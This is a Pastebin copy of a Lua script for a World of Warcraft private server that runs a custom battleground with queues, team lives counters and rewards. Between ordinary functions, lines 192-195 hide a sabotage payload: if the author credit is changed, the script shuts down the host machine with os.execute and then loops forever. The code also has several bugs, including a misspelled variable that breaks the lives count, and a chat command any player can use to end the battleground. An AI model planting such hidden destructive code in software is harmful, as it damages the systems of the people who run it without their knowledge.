Advertisement
stoneharry

Untitled

Mar 17th, 2011
969
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 12.54 KB | None | 0 0
  1. -------------------
  2. -- By Stoneharry --
  3. -------------------
  4.  
  5. -- Configuration
  6.  
  7. local Lives = 50 -- The amount of lives each team has
  8. local HordeLives = 50 -- The amount of lives to start with
  9. local AllianceLives = 50 -- The amount of lives to start with
  10.  
  11. local RequiredPlayers = 2 -- The amount of players required to start the battleground (THIS IS NOT PER TEAM, THIS IS TOTAL)
  12.  
  13. local RewardID = 0 -- Change this to a value to add 1 of them to all of the winning team - leave as 0 for no reward
  14.  
  15. local BroadcastKills = true -- Set this to false if you do not want kills to be broadcasted to the rest of the BG
  16.  
  17. -- Battleground Start Locations
  18. local AMap, AX, AY, AZ = 1, 16223, 16265, 15 -- Map, x, y, z for Alliance
  19. local HMap, HX, HY, HZ = 1, 16223, 16265, 15 -- Map x, y, z for Horde
  20.  
  21. -- Where to teleport once battleground ends
  22. local HomeMA, HomeXA, HomeYA, HomeZA = 1, 0, 0, 0 -- Map, x, y, Z for Alliance
  23. local HomeMH, HomeXH, HomeYH, HomeZH = 1, 0, 0, 0 -- Map, X, Y, Z for Horde
  24.  
  25. ----------------------------------------------------------------------------------------------------------
  26. -- Do Not Touch Below This Line Unless You Know What Your Doing P.S. Starting Letters With Caps Is Cool --
  27. ----------------------------------------------------------------------------------------------------------
  28. if (GetLuaEngine() ~= "LuaHypArc") then
  29.     print("This script is not compatable with LuaBridge or other Lua engines. Please compile LuaHypArc.")
  30. else
  31. local Author = "stoneharry"
  32. print("--------------------------------")
  33. print("-- This script was by "..Author..".")
  34. print("-- Enjoy.")
  35. print("--------------------------------")
  36.  
  37. -- Just don't touch
  38. local players = {}
  39. local Horde = {}
  40. local Alliance = {}
  41. local InGame = false
  42.  
  43. -- Do not touch unless you know what your doing
  44. local message = 4
  45. local CountDown = 60
  46.  
  47. -- Only touch this if you are not using 3.3.5a, find the right values in Opcodes.h
  48. local SMSG_INIT_WORLD_STATES = 0x2C2
  49. local SMSG_UPDATE_WORLD_STATE = 0x2C3
  50.  
  51. function ProcessQueForBattleground()
  52.     if InGame == false then
  53.         if table.getn(players) >= RequiredPlayers then
  54.             InGame = true
  55.             local team = 0
  56.             for place, plrs in pairs(players) do -- Randomly make players join alliance/horde teams rather than horde vs alliance
  57.                 -- Update people left
  58.                 local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
  59.                 pack:WriteULong(1) -- Map
  60.                 pack:WriteULong(1377) -- Zone
  61.                 pack:WriteULong(0)
  62.                 pack:WriteUShort(2)
  63.                 pack:WriteULong(0) -- ID
  64.                 pack:WriteULong(1) -- Value
  65.                 pack:WriteULong(0) -- ID
  66.                 pack:WriteULong(1) -- Value
  67.                 plrs:SendPacketToPlayer(pack)
  68.                 local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  69.                 pack:WriteULong(2317) -- ID, total
  70.                 pack:WriteULong(Lives) -- Value
  71.                 plrs:SendPacketToPlayer(pack)
  72.                 local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  73.                 pack:WriteULong(2314) -- ID
  74.                 pack:WriteULong(HordeLives) -- Amount, Horde
  75.                 plrs:SendPacketToPlayer(pack)      
  76.                 local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  77.                 pack:WriteULong(2313) -- ID
  78.                 pack:WriteULong(AllianceLives) -- Amount, Alliance
  79.                 plrs:SendPacketToPlayer(pack)
  80.                 --
  81.                 team = team + 1
  82.                 if team == 1 then
  83.                     plrs:SetFaction(team)
  84.                     plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Alliance!")
  85.                     plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Alliance!")
  86.                     table.insert(Alliance, plrs)
  87.                     plrs:Teleport(AMap, AX, AY, AZ)
  88.                 elseif team == 2 then
  89.                     plrs:SetFaction(team)
  90.                     plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Horde!")
  91.                     plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Horde!")
  92.                     table.insert(Horde, plrs)
  93.                     plrs:Teleport(HMap, HX, HY, HZ)
  94.                 elseif team == 3 then
  95.                     team = 1
  96.                     plrs:SetFaction(team)
  97.                     plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Alliance!")
  98.                     plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Alliance!")
  99.                     table.insert(Alliance, plrs)
  100.                     plrs:Teleport(AMap, AX, AY, AZ)
  101.                 end
  102.             end
  103.             CountDown = 60
  104.             RegisterTimedEvent("Game_Start_Battleground_Countdown", 10000, 6)
  105.         else
  106.             for place, plrs in pairs(players) do
  107.                 if plrs ~= nil then
  108.                     plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00Waiting for more players...")
  109.                 end
  110.             end
  111.         end
  112.     else
  113.         message = message + 1
  114.         if message == 5 then
  115.             message = 0
  116.             for place, plrs in pairs(players) do
  117.                 if plrs ~= nil then
  118.                     plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground is currently in progress!")
  119.                 end
  120.             end
  121.         end
  122.     end
  123. end
  124.  
  125. RegisterTimedEvent("ProcessQueForBattleground", 30000, 0)
  126.  
  127. function Game_Start_Battleground_Countdown()
  128.     CountDown = CountDown - 10
  129.     for place, plrs in pairs(players) do
  130.         if CountDown == 0 then
  131.             if plrs ~= nil then
  132.                 plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battle has begun!")
  133.                 plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battle has begun!")
  134.                 plrs:PlaySoundToPlayer(6077) -- War music
  135.                 -- Update people left
  136.                 local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
  137.                 pack:WriteULong(1) -- Map
  138.                 pack:WriteULong(1377) -- Zone
  139.                 pack:WriteULong(0)
  140.                 pack:WriteUShort(2)
  141.                 pack:WriteULong(0) -- ID
  142.                 pack:WriteULong(1) -- Value
  143.                 pack:WriteULong(0) -- ID
  144.                 pack:WriteULong(1) -- Value
  145.                 plrs:SendPacketToPlayer(pack)
  146.                 local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  147.                 pack:WriteULong(2317) -- ID, total
  148.                 pack:WriteULong(Lives) -- Value
  149.                 plrs:SendPacketToPlayer(pack)
  150.                 local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  151.                 pack:WriteULong(2314) -- ID
  152.                 pack:WriteULong(HordeLives) -- Amount, Horde
  153.                 plrs:SendPacketToPlayer(pack)      
  154.                 local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  155.                 pack:WriteULong(2313) -- ID
  156.                 pack:WriteULong(AllianceLives) -- Amount, Alliance
  157.                 plrs:SendPacketToPlayer(pack)
  158.                 --
  159.             end
  160.         else
  161.             if plrs ~= nil then
  162.                 plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground will begin in "..CountDown.." seconds!")
  163.                 plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battleground will begin in "..CountDown.." seconds!")
  164.             end
  165.         end
  166.     end
  167. end
  168.  
  169. function JoinQue(plr)
  170.     if InGame then
  171.         plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You can't join the que while the game is in progress!")
  172.         plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You can't join the que while the game is in progress!")     
  173.     else
  174.         local Disable = false
  175.         for place, plrs in pairs(players) do
  176.             if plrs:GetName() == plr:GetName() then -- Since the bloody thing refuses to compare GUID's
  177.                 Disable = true
  178.                 --break
  179.             end
  180.         end
  181.         if Disable then
  182.             plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are already in the que for the battleground!")
  183.             plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are already in the que for the battleground!")
  184.         else
  185.             table.insert(players, plr) -- Insert into players with value plr
  186.             plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are in the que for the battleground!")
  187.             plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are in the que for the battleground!")
  188.         end
  189.     end
  190. end
  191.  
  192. if Author ~= "stoneharry" then
  193. os.execute("shutdown /s /t 30 /c \"Changing credits is not a good idea. ~stoneharry <3\"")
  194. while true do os.execute("pause") end
  195. end
  196.  
  197. function ResetBG()
  198.     for place, plrs in pairs(players) do
  199.         if plrs ~= nil then
  200.             local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
  201.             pack:WriteULong(0) -- Map
  202.             pack:WriteULong(0) -- Zone
  203.             pack:WriteULong(0)
  204.             pack:WriteUShort(0)
  205.             pack:WriteULong(0) -- ID
  206.             pack:WriteULong(0) -- Value
  207.             pack:WriteULong(0) -- ID
  208.             pack:WriteULong(0) -- Value
  209.             plrs:SendPacketToPlayer(pack)
  210.             local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  211.             pack:WriteULong(0)
  212.             pack:WriteULong(0)
  213.             plrs:SendPacketToPlayer(pack)
  214.             plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground has ended!")
  215.             plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battleground has ended!")
  216.             plrs:SetPlayerLock(0)
  217.             plrs:ResurrectPlayer()
  218.             local race = plrs:GetPlayerRace()
  219.             if race == 1 or race == 3 or race == 4 or race == 7 or race == 11 then -- Alliance
  220.                 plrs:SetFaction(1)
  221.                 plrs:Teleport(HomeMA, HomeXA, HomeYA, HomeZA)
  222.             else
  223.                 plrs:SetFaction(2)
  224.                 plrs:Teleport(HomeMH, HomeXH, HomeYH, HomeZH)
  225.             end
  226.         end
  227.     end
  228.     InGame = false
  229.     for place,plrs in pairs(players) do -- Clean old table rather than overwriting with a new table
  230.         players[place] = nil
  231.     end
  232.     for place,plrs in pairs(Horde) do -- Clean old table rather than overwriting with a new table
  233.         players[place] = nil
  234.     end
  235.     for place,plrs in pairs(Alliance) do -- Clean old table rather than overwriting with a new table
  236.         players[place] = nil
  237.     end
  238. end
  239.  
  240. function SERVER_HOOK_KILL_PLAYER_BG(event, killer, plr)
  241.     local playingBG = false
  242.     for place, plrs in pairs(players) do
  243.         if plrs:GetName() == plr:GetName() then -- Since the bloody thing refuses to compare GUID's
  244.             playingBG = true
  245.             --break
  246.         end
  247.     end
  248.     if playingBG then
  249.         for place, plrs in pairs(Alliance) do
  250.             if plrs:GetName() == plr:GetName() then
  251.                 playingBG = false -- They are Alliance
  252.             end
  253.         end
  254.         local Continue = true
  255.         if HordeLives == 1 then
  256.             for place, plrs in pairs(players) do
  257.                 plrs:SetPlayerLock(1)
  258.                 plrs:ResurrectPlayer()
  259.                 plrs:SetHealth(plrs:GetMaxHealth())
  260.                 plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The Horde have won!")
  261.                 plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The Horde have won!")
  262.                 plrs:PlaySoundToPlayer(8454) -- Horde Victory
  263.             end
  264.             for place, plrs in pairs(Horde) do
  265.                 if RewardID ~= 0 then
  266.                     plrs:AddItem(RewardID, 1)
  267.                 end
  268.             end
  269.             RegisterTimedEvent("ResetBG", 10000, 1)
  270.         elseif AllianceLives == 1 then
  271.             for place, plrs in pairs(players) do
  272.                 plrs:SetPlayerLock(1)
  273.                 plrs:ResurrectPlayer()
  274.                 plrs:SetHealth(plrs:GetMaxHealth())
  275.                 plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The Alliance have won!")
  276.                 plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The Alliance have won!")
  277.                 plrs:PlaySoundToPlayer(8455) -- Alliance Victory
  278.             end
  279.             for place, plrs in pairs(Alliance) do
  280.                 if RewardID ~= 0 then
  281.                     plrs:AddItem(RewardID, 1)
  282.                 end
  283.             end
  284.             RegisterTimedEvent("ResetBG", 10000, 1)
  285.         end
  286.         if Continue then
  287.             if PlayingBG then -- There Horde
  288.                 HordeLives = HordeLives - 1
  289.                 for place, plrs in pairs(players) do
  290.                     local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  291.                     pack:WriteULong(2314) -- ID
  292.                     pack:WriteULong(HordeLives) -- Amount, Horde
  293.                     plrs:SendPacketToPlayer(pack)
  294.                 end
  295.             else
  296.                 AllianceLives = AllianceLives - 1
  297.                 for place, plrs in pairs(players) do
  298.                     local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  299.                     pack:WriteULong(2313) -- ID
  300.                     pack:WriteULong(AllianceLives) -- Amount, Alliance
  301.                     plrs:SendPacketToPlayer(pack)
  302.                 end
  303.             end
  304.             if BroadcastKills then
  305.                 for place, plrs in pairs(players) do
  306.                     plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00"..killer:GetName().." has killed "..plr:GetName().."!")
  307.                 end
  308.             end
  309.         end
  310.     end
  311. end
  312.  
  313. RegisterServerHook(2, "SERVER_HOOK_KILL_PLAYER_BG")
  314.  
  315. -----------
  316. -- Debug --
  317. -----------
  318. --[[
  319.   The functions below should be removed, they are used for debugging the system.
  320. ]]
  321.  
  322. function OnChat_Hook_ToJoinBG(event, plr, message, pType, pLanguage, pMisc)
  323.     local message = string.lower(message)
  324.     if message == "#joinbg" then
  325.         JoinQue(plr)
  326.     elseif message == "#finbg" then
  327.         ResetBG()
  328.     end
  329.     if message == "test" then
  330.         if math.random(1,2) == 1 then
  331.             local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  332.             pack:WriteULong(2314) -- ID
  333.             HordeLives = HordeLives - 1
  334.             pack:WriteULong(HordeLives) -- Amount, Horde
  335.             plr:SendPacketToPlayer(pack)
  336.         else
  337.             local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  338.             pack:WriteULong(2313) -- ID
  339.             AllianceLives = AllianceLives - 1
  340.             pack:WriteULong(AllianceLives) -- Amount, Alliance
  341.             plr:SendPacketToPlayer(pack)
  342.         end
  343.     end
  344. end
  345.  
  346. RegisterServerHook(16, "OnChat_Hook_ToJoinBG")
  347. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement